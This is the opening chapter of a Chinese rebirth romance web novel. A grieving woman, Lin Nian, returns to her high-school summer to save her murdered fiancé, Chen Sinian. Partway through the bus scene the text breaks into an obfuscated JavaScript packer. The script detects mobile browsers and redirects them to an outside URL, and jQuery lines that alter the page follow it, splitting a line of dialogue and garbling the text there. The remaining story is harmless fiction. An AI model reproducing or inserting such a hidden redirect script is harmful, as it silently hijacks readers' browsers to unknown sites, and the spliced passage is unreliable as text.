扉友 作品

1. 太阳雨

“蝉鸣喧嚣在蝉鸣里,夏风狂舞在夏风中。


林念乘2号线轻轨抵达朝阳公园,扑面而来的热浪与车内冷气相撞,体感强烈。天,是暴雨一夜后摄人心魄的蓝,无云。


地面水洼映出少女的百褶裙,林念调了调脖子上挂的相机。晨光透亮还不太刺眼,她拍了几张茂密的黄桷树枝叶间稀稀漏漏的光,叶子的轮廓被光模糊,林念也是。


走到江边体感温度就会难得的降低一点,风吹起刘海,手拿相机拿的发酸。


林念看着拍好的照片,觉得怎么都差点感觉。


冷不丁头上掉下片黄桷树叶子,又恰好被她感觉到。她漫不经心的拿下来,眼神落在某处,内心狂炸,心跳声恨不得冲出耳边。


正前方,有个男生在写生。


男生白衬衫被风吹的飘荡,发梢扬起背挺得直。面前是画架,画上是画架前的湖。


反应过来快门已经按下,黄昏为相片提供完美的逆光。鼻梁是直线,下颌线也是,剩下的全逆在阴影里。由此看来,显得冷一些。


心还在跳,听觉丧失几秒,呼吸恢复。


夏日悸动由此产生,故事由此开始。”


看到这本日记是在整理死去爱人的遗物时,被牢牢的锁在保险箱里。


林念缓缓的坐在地上,颤抖着呼吸和手指,把夹在这一页的照片翻过来。


是陈斯年。


觉察到什么,她快速的浏览了接下来几页,发现这分明是自己高中时的字迹,当时她为了练笔,热衷于把日常写成小说。


但她确定自己并没有写过。


一瞬间,陈斯年的死因,十八岁时的那场意外,被锁在陈斯年保险箱的她的日记。


都太过蹊跷。


陈斯年死于一周前,此时两人在拍结婚照,以记录恋爱过程的方式。


林念奇怪:“什么啊,我们第一次见不是在大学吗?”


陈斯年摇了摇头:“我很早就见过你。”


林念笑着亲他一下嘴角:“哦。暗恋我?暗恋到大学才追?”


陈斯年无奈的摸了摸她的头:“嗯。第一次见就是在公园。”


今天的照片拍完,林念伸了伸疲累的双肩,在摄影师旁边选图。


陈斯年给她揉一会儿肩,手机收到消息,和林念说饭送到了,他先拿来垫一垫,回家再慢慢吃。


林念应了声好。


和摄影师沟通着明天的拍照细节,忽然心痛到耳鸣,被搀扶着缓了几秒,她忽然迫切的想找到陈斯年。


找到他的时候,他正满身是血的躺在阳光正好的巷子里,右手插着一把刀,凶手被他反杀。


林念瞬间疯了一样的扑过去,却心痛到发不出一点声音,婚纱沾了陈斯年的血。


凶手和十八岁刺伤陈斯年右手的是同一个,出狱后为了报复,选择和陈斯年同归于尽。


林念的失语症状并没有好转,明明葬礼也已经办完。再次回到两人的家是一种凌迟,每一个角落都充满了回忆。还要去一趟墓地,送上一捧无尽夏。


然后带着陈斯年的遗物,去完成还没开始的蜜月旅行。


日记看完,林念怔怔的看着窗外。


我算不算你的遗物。


晨昏交替,林念被忽然强烈的日光刺到,再次睁眼时,落了场太阳雨。


她合上日记,忽然天旋地转,眼前场景碎片一样的重组起来。


能看清后,她已经不在家里。


而是在高中时她常去的朝阳公园。


虽然和拍婚纱照时的公园是同一个,但这时的公园还没有种满花,四季湖旁是成片的草坪,和覆盖每一条道路的黄桷树。


咔的一声轻响,相机自动洗出照片,林念赶忙取下。


分明是日记本里夹着的那一张!


林念猛的抬头。


少年时期的陈斯年正端坐在画架前,身上干净的白衬衫被风灌满,此时正画完最后一笔,收拾东西等画干。


林念眼眶发热,步子比大脑先一步行动,向着陈斯年跑起来,猛的抱住了他。


直到感觉到自己抱着的人的温热,她再也忍不住的哭起来。


哗啦一声,陈斯年的画笔散落一地,他低下头看着莫名其妙抱住自己的人的发顶,带着点香。


推了一把没推开,林念自顾自的说着:“年年,我好想你。”


她吸了吸鼻子,看着陈斯年衣服上湿掉的一小片,用手指蹭了蹭。


陈斯年躲了躲,林念抱的更紧了:“在梦里你还要推开我吗?一周了才来看我!”


陈斯年轻咳了声:“那个……”


她猛擦了把眼泪,抬头仔细的看着陈斯年:“是人死了会越来越年轻吗,不过年年,你胸肌没以前厚了。”


又亲了亲他嘴角:“你好平静啊,人死了就会没有情绪吗?”


陈斯年猛的推开她,耳朵肉眼可见的红起来,胸口起伏的几下,低声反驳了下:“我没死。”


面对失去过一次的人脾气总是格外的好,林念没有计较他的推开,重新抱住他:“我知道你想安慰我,但是我已经接受了,我给你买了很好看的骨灰盒,等我死了,我的也放里面。”


陈斯年继续推开他:“说了我没死。”转身收拾起自己的画具。


林念火了:“我都没计较你一周后才来托梦!”


火又熄了,她看到陈斯年的颜料画笔撒了一地,还沾了土,连忙蹲下帮他收拾。


收拾完后,陈斯年递过来一片湿巾,让她擦干净手指。


林念鼻子一酸,声音有点闷的说:“要是醒不过来就好了。”


她用干净的手指戳了戳陈斯年画笔的毛尖:“我再赔你一套新的,和我犹豫好几次都没买的兔尾巴兔耳朵一起烧给你,主要是怕我戴上那个你就变得很凶……”


她深吸一口气,下定决心似的:“下周再来梦里找我,你就给我戴上吧!”


陈斯年耳朵的红已经蔓延到侧脸,他猛的起身:“不用你赔!”


快步走了。


林念小跑追上他,牵起他的手还用指甲刺了下他掌心:“为什么不牵我?”


陈斯年忍无可忍,停下来静静地看着她:“我们不认识。”


林念的手一下就松了。


已经喝了孟婆汤了吗?


喝了孟婆汤就把我忘了吗?曾经的海誓山盟……说什么一辈子不离不弃不会放开彼此的手,现在只喝了碗孟婆汤,就又推又凶又遗忘……


好你个陈斯年。


她继续追上陈斯年,猛的推了一把,陈斯年身形一晃,就看到她一个决绝的背影,上了返程的公交。


掏出手机扫码,锁屏上一个亮眼的2025闪过。


她仔细看了两眼,身后的乘客催促她快一点,急忙打开付款码,听到陈斯年一句:“给你


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156645|164977||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


交过了。”


林念嗤笑了声:“装什么。”


明明没忘,装什么不认识。


她跟着陈斯年坐上二人座,先一步坐在靠窗的座位,两人的胳膊碰在一起,陈斯年微微挪开一点。


林念感觉到了,又嗤笑了声:“继续装。”


“把钱转我。”陈斯年怼到。


“什么?”林念以为自己听错了:“几块钱的公交费都要转你了?那你所有的银行卡是不是也要还给你?”


陈斯年不解:“我的银行卡?”


她气的扭头看风景,陈斯年看了她一眼,掏出耳机听歌。


是首很轻快的纯音乐,他无聊的翻看着评论,有一条说,这首歌很符合初见的场景,还有重逢。


手机不停震动,林念拿出看消息,余光瞥到自己的腿,穿着高中时蛮喜欢的一条百褶裙。


群名叫清北预备生。


清北预备生之大嘴:图片一张


图片两张


三张四张九十九加张。


暑假作业,还不快跪谢我!


清北预备生之达:谢主隆恩!谢主隆恩!谢主隆恩!


清北预备生之谣:早写完了。


清北预备生之大嘴:那你不发?


清北预备生之谣:在等你要。


清北预备生之达:@清北预备生之念干嘛呢?晚上去搓顿小面?


林念看着自己高中时和朋友的群名,怀念了下。


年少时的梦想比天高,高一觉得自己起码能上人大复旦,高二觉得混个一本也能接受,高三看着班里尖子生逐梦清北,自己在百日誓师的横幅填的志愿学校是双一流,实则内心求文殊菩萨保佑自己上二本。


不对。


这梦也太逼真了些。


看了下公交车电子屏显示的时间,又看了下手机的,还去设置里看有没有调错。


她自然而然的掐了下陈斯年,问他:“疼吗?”


陈斯年轻叹了口气,没理她。


没感觉?


于是她更用力的掐了一下陈斯年,眼看着红紫起来。


“够了吗?”


陈斯年冷冷的回。


林念目光移到自己的胳膊,猛掐一把。


“啊疼疼疼。”


她猛的站起来,心里惊喜的不行,凭借多年阅书经验。


她,林念,知名小说作家,也是写过这种题材的人。


重生了,重生到升入高二的暑假这年。


这一年,陈斯年十七岁,还没有被凶手刺穿手掌,丢掉自己的美术梦。


这一年,林念还在整天嘻嘻哈哈的上课下课周末乱串,逛遍了江榆却没见到陈斯年。


命运让她重回这一年,这一次,她要扭转乾坤,改变结局!让陈斯年的梦想不再破灭,让她不要再失去爱人。


让她们两人早一点认识,再多相伴几年!


她握起拳头,扭头看陈斯年,目光闪烁。陈斯年被她看得视线闪躲,最后盯起已经暗掉的手机屏幕。


这时候的陈斯年,好不好撩?


林念郑重的坐下,撩了下自己耳边的头发,伸出手道:“你好,陈斯年。”


她把距离拉近一点:“我叫林念,是你未来的女朋友。”


公交车到站,林念的手还伸在半空,灿烂的笑着。


陈斯年把耳机收起,提起背包,下了车。